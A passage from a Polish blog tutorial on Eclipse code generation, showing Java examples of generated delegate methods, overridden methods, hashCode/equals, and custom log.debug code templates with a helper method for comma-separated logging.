<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<p class="MsoNormal">
<p class="MsoNormal">Kursor na polu <span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">sb</span>. Wywołujemy generację metod delegujących.</p>
<p class="MsoNormal">Zaznaczamy tylko metodę <span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">length()</span>.</p>
<p class="MsoNormal">Otrzymujemy metodę delegującą:</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">class</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> DelegateTest {</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">sb</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">int</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> length() {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">sb</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.length();</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<p class="MsoNormal">
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Shift Alt S <strong><span style="font-weight: normal;">›</span></strong> Override/Implement Methods</p>
</div>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">class</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> DataSet </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">extends</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> HashSet {</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<p class="MsoNormal">
<p class="MsoNormal">Kursor na <span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">DataSet</span>, wybieramy Override/Implement Methods. Wybieramy metodę HashSet.add():</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">class</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> <span style="background: silver none repeat scroll 0% 50%;">DataSet</span> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">extends</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> HashSet {</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">boolean</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> add(Object arg0) {</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f7f5f;"> // </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f9fbf;">TODO</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #3f7f5f;"> Auto-generated method stub</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">super</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.add(arg0);</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Shift Alt S <strong><span style="font-weight: normal;">›</span></strong> Generate hashCode() and equals()</p>
</div>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">class</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> HashEquals {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> private</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<p class="MsoNormal">
<p class="MsoNormal">Dzięki tej funkcji otrzymamy następujący kod:</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">class</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> HashEquals {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> private</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">int</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> hashCode() {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> final</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">int</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> PRIME = 31;</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> int</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> result = 1;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> result = PRIME * result + ((</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> == </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">null</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">) ? 0 : </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.hashCode());</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> result;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">boolean</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> equals(Object obj) {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> if</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> (</span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">this</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> == obj)</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">true</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> if</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> (obj == </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">null</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">)</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">false</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> if</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> (getClass() != obj.getClass())</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">false</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> final</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> HashEquals other = (HashEquals) obj;</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> if</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> (</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> == </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">null</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">) {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> if</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> (other.</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> != </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">null</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">)</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">false</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> } </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">else</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">if</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> (!</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.equals(other.</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">name</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">))</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">false</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">true</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<p class="MsoNormal">
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Ctrl I – correct <span class="RedShortZnak">I</span>ndentation</p>
</div>
<p class="MsoNormal">Wstawia automatycznie wcięcia w zaznaczonym kodzie.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">Ctrl Shift F – <span class="RedShortZnak">F</span>ormat code</p>
</div>
<p class="MsoNormal">Porządkuje kod, wstawia wcięcia, ale potrafi narobić bałaganu w komentarzach.</p>
<div style="border-style: none none solid; border-color: -moz-use-text-color -moz-use-text-color windowtext; border-width: medium medium 1pt; padding: 0cm 0cm 1pt;">
<h3 style="margin-left: 18pt; text-indent: -18pt;"><a name="_Toc190577936"></a>2.<span style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> </span>Definiowanie szablonów kodu (code templates)</h3>
</div>
<p class="MsoNormal">Window <strong><span style="font-weight: normal;">›</span></strong> Preferences <strong><span style="font-weight: normal;">› Java › Editor › Templates</span></strong></p>
<p class="MsoNormal"><strong><span style="font-weight: normal;">Własne szablony kodu są bardzo przydatną cechą Eclipse’a. Przyspieszają pisanie kodu i eliminują pojawienie się przypadkowych błędów. By je wywołać wystarczy wpisać ich nazwę i nacisnąć Ctrl Space.</span></strong></p>
<p class="MsoNormal"><strong><span style="font-weight: normal;">Poniżej przedstawiam parę stworzonych przeze mnie szablonów do kodu wpisującego odpowiednie informacje do logów. </span></strong><strong><span style="font-weight: normal;">Do prezentacji użyję metody:</span></strong></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String <span style="background: silver none repeat scroll 0% 50%;">concat</span>(String s1, String s2) {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> s1 + s2;</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">ld – <span class="RedShortZnak">l</span>og.<span class="RedShortZnak">d</span>ebug<br />
<span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">log.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;${enclosing_method} ${cursor}&#8221;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span></p>
</div>
<p class="MsoNormal">Wynik:</p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">log</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;concat </span>|<span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span></p>
<p class="MsoNormal">Szablon rozwija kod, zamieniając zmienne ${&#8230;} na odpowiednie wartości. I tak <span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">${enclosing_method} </span>wprowadza nazwę aktualnej metody, a <span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">${cursor}</span> ustawia kursor w podanym miejscu.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">lvar – <span class="RedShortZnak">l</span>og <span class="RedShortZnak">var</span>iable<br />
<span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">log.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;${enclosing_method} ${name} = &#8222;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> + ${cursor}${name});</span></p>
</div>
<p class="MsoNormal">Wynik:</p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">log</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;concat <span style="background: aqua none repeat scroll 0% 50%;">name</span> = &#8222;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> + <span style="background: aqua none repeat scroll 0% 50%;">name</span>);</span></p>
<p class="MsoNormal">Pozwala wpisać do loga wartość zmiennej. Zaraz po wpisaniu <span class="string"><span style="font-size: 10pt;">lvar</span></span> i Ctrl Space, można w rozwiniętym kodzie wpisywać nazwę zmiennej, która zostanie podstawiona w obydwu podświetlonych miejscach.</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">le1 – <span class="RedShortZnak">l</span>og <span class="RedShortZnak">e</span>ntry for method with <span class="RedShortZnak">1</span> parameter<br />
<span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">log.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;${enclosing_method}(&#8222;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> + ${cursor}${enclosing_method_arguments} + </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;)&#8221;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span></p>
</div>
<p class="MsoNormal">W metodzie:</p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="background: silver none repeat scroll 0% 50%; font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">v</span></strong><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">oid</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> test(</span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">int</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> x) {</span></p>
<p class="MsoNormal"><span style="background: silver none repeat scroll 0% 50%; font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<p class="MsoNormal">daje wynik:</p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">log</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;test(&#8222;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> + x + </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;)&#8221;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span></p>
<p class="MsoNormal">Szablon do zastosowania przy wejściu do metody. Niestety, nie działa dla większej liczby parametrów, dlatego stworzyłem kolejny szablon:</p>
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">lent – <span class="RedShortZnak">l</span>og <span class="RedShortZnak">ent</span>ry<br />
<span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">log.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;${enclosing_method}(&#8222;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> + cl.process.common.StringUtils.commaSepar(</span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">new</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> Object[] {${cursor}${enclosing_method_arguments}}) + </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;)&#8221;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span></p>
</div>
<p class="MsoNormal">Wynik dla metody <span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">concat(String s1, String s2):</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">log</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;concat(&#8221; </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">+ cl.utils.StringUtils.commaSepar(</span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">new</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> Object[] { s1, s2 }) + </span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;)&#8221;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span></p>
<p class="MsoNormal">Dzięki zastosowaniu <span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">StringUtils.commaSepar()</span>, nie potrzebujemy samodzielnie wstawiać do stringa przecinków między logowanymi argumentami.</p>
<p class="MsoNormal">Oto kod tej metody:</p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">public</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">static</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> String commaSepar(Object[] objects) {</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> StringBuffer sb = </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">new</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> StringBuffer();</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> if</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> (objects != </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">null</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">) {</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> for</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> (</span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">int</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> i = 0; i &lt; objects.</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #0000c0;">length</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">; i++) {</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> Object obj = objects[i];</span></p>
<p class="MsoNormal"><span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span><strong>if</strong> (i &gt; 0) {</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span>sb.append(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;, &#8222;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span>}</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span>sb.append(obj);</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> </span>}</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> } </span><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;">else</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> {</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> sb.append(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;null&#8221;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> }</span></p>
<p class="MsoNormal"><strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #7f0055;"> return</span></strong><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;"> sb.toString();</span></p>
<p class="MsoNormal"><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">}</span></p>
<p class="MsoNormal">
<div style="border: 1pt solid windowtext; padding: 1pt 4pt;">
<p class="Shortcut">log_block – <span class="RedShortZnak">log</span> around <span class="RedShortZnak">block</span> of code<br />
<span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">log.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;${enclosing_method} ${name} start&#8221;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span><span style="color: black;"><br />
</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">${line_selection}</span><span style="color: black;"><br />
</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">log.debug(</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: #2a00ff;">&#8222;${enclosing_method} ${name} koniec&#8221;</span><span style="font-size: 10pt; font-family: &quot;Courier New&quot;; color: black;">);</span></p>
</div>
<p class="MsoNormal">Zaznaczamy dowolny fragment kodu wewnątrz metody, wciskamy Shift Alt Z i wybieramy log_block. Zaznaczony fragment otrzymuje po jednej linijce loga na początku i na końcu. Dodatkowo, podobnie jak w lvar, możemy nazwać komentowany fragment.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.atena.pl/eclipse-w-praktyce-cz-4-generowanie-kodu/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>10 powodów dlaczego prototypowanie jest ok</title>
